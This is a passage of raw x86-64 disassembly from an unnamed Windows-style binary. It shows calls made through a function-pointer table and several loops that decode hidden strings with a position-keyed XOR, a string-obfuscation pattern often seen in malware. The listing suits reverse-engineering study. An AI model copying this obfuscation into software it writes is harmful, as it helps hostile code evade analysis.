mov byte [rdx + rax], cl
add dword [rbp + 0x28cc], 1
jmp 0x407475
nop
lea rax, [rbp + 0x2760]
mov edx, dword [rbp + 0x2a0c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.00401560
mov rdx, qword [0x00730088]
mov rax, qword [rbp + 0x2a48]
mov rcx, rax
call rdx
mov qword [rbp + 0x2a48], 0
mov r10, qword [0x00730050]
mov rcx, qword [0x00730030]
mov rax, qword [rbp + 0x88]
add rax, 0x38
mov r11, rax
mov r8, qword [rbp + 0x2a38]
mov rax, qword [rbp + 0x2a48]
lea rdx, [rbp + 0xe8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x2a0c], eax
cmp dword [rbp + 0x2a0c], 0
jne 0x407581
mov rax, qword [rbp + 0xe8]
cmp qword [rbp + 0x2a38], rax
je 0x4076a7
mov rdx, qword [rbp + 0x88]
mov rax, qword [rbp + 0x2a38]
lea rbx, [rdx + rax]
lea rax, [rbp + 0x27a0]
lea rdx, [rbp + 0x27df]
mov rcx, rax
call fcn.00402a42
lea rax, [rbp + 0x27a0]
mov qword [rbp + 0x28c0], rax
mov rax, qword [rbp + 0x28c0]
mov qword [rbp + 0x28b8], rax
mov rax, qword [rbp + 0x28b8]
movzx eax, byte [rax + 0x30]
test al, al
setne al
test al, al
je 0x40766e
mov rax, qword [rbp + 0x28c0]
mov rdx, qword [rbp + 0x28c0]
mov qword [rbp + 0x28b0], rdx
mov qword [rbp + 0x28a8], rax
mov dword [rbp + 0x28a4], 0
cmp dword [rbp + 0x28a4], 0x30
jg 0x40766d
mov eax, dword [rbp + 0x28a4]
movsxd rdx, eax
mov rax, qword [rbp + 0x28a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x28a4]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x28b0]
mov eax, dword [rbp + 0x28a4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x28a4], 1
jmp 0x407603
nop
lea rax, [rbp + 0x27a0]
mov edx, dword [rbp + 0x2a0c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.00401560
mov rdx, qword [0x00730088]
mov rax, qword [rbp + 0x2a48]
mov rcx, rax
call rdx
mov qword [rbp + 0x2a48], 0
mov r10, qword [0x00730058]
mov r9d, dword [rbp + 0x74]
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x88]
mov rax, qword [rbp + 0x2a48]
lea rcx, [rbp + 0x74]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x2a0c], eax
cmp dword [rbp + 0x2a0c], 0
je 0x407801
mov rbx, qword [rbp + 0x88]
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x281e]
mov rcx, rax
call fcn.00402bdc
lea rax, [rbp + 0x27e0]
mov qword [rbp + 0x2898], rax
mov rax, qword [rbp + 0x2898]
mov qword [rbp + 0x2890], rax
mov rax, qword [rbp + 0x2890]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x4077c8
mov rax, qword [rbp + 0x2898]
mov rdx, qword [rbp + 0x2898]
mov qword [rbp + 0x2888], rdx
mov qword [rbp + 0x2880], rax
mov dword [rbp + 0x287c], 0
cmp dword [rbp + 0x287c], 0x3a
jg 0x4077c7
mov eax, dword [rbp + 0x287c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2880]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x287c]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
mov edx, ecx
imul edx, edx, 0x32
sub eax, edx
mov edx, eax
mov eax, edx
add eax, 0x37
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2888]
mov eax, dword [rbp + 0x287c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x287c], 1
jmp 0x40775d
nop
lea rax, [rbp + 0x27e0]
mov edx, dword [rbp + 0x2a0c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.00401560
mov rdx, qword [0x00730088]
mov rax, qword [rbp + 0x2a48]
mov rcx, rax
call rdx
mov qword [rbp + 0x2a48], 0
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x281f]
mov rcx, rax
call fcn.00402dc6
mov rax, qword [rbp + 0x2820]
mov rdx, qword [rbp + 0x2828]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0x2830]
mov rdx, qword [rbp + 0x2838]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2840]
mov rdx, qword [rbp + 0x2848]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2850]
mov rdx, qword [rbp + 0x2858]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2860]
mov rdx, qword [rbp + 0x2868]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov eax, dword [rbp + 0x2870]
mov dword [rbp], eax
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.00420420
mov ebx, 0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a49b0
mov eax, ebx
jmp 0x408f5d
add rsp, 0x2ad8
pop rbx
pop rbp
ret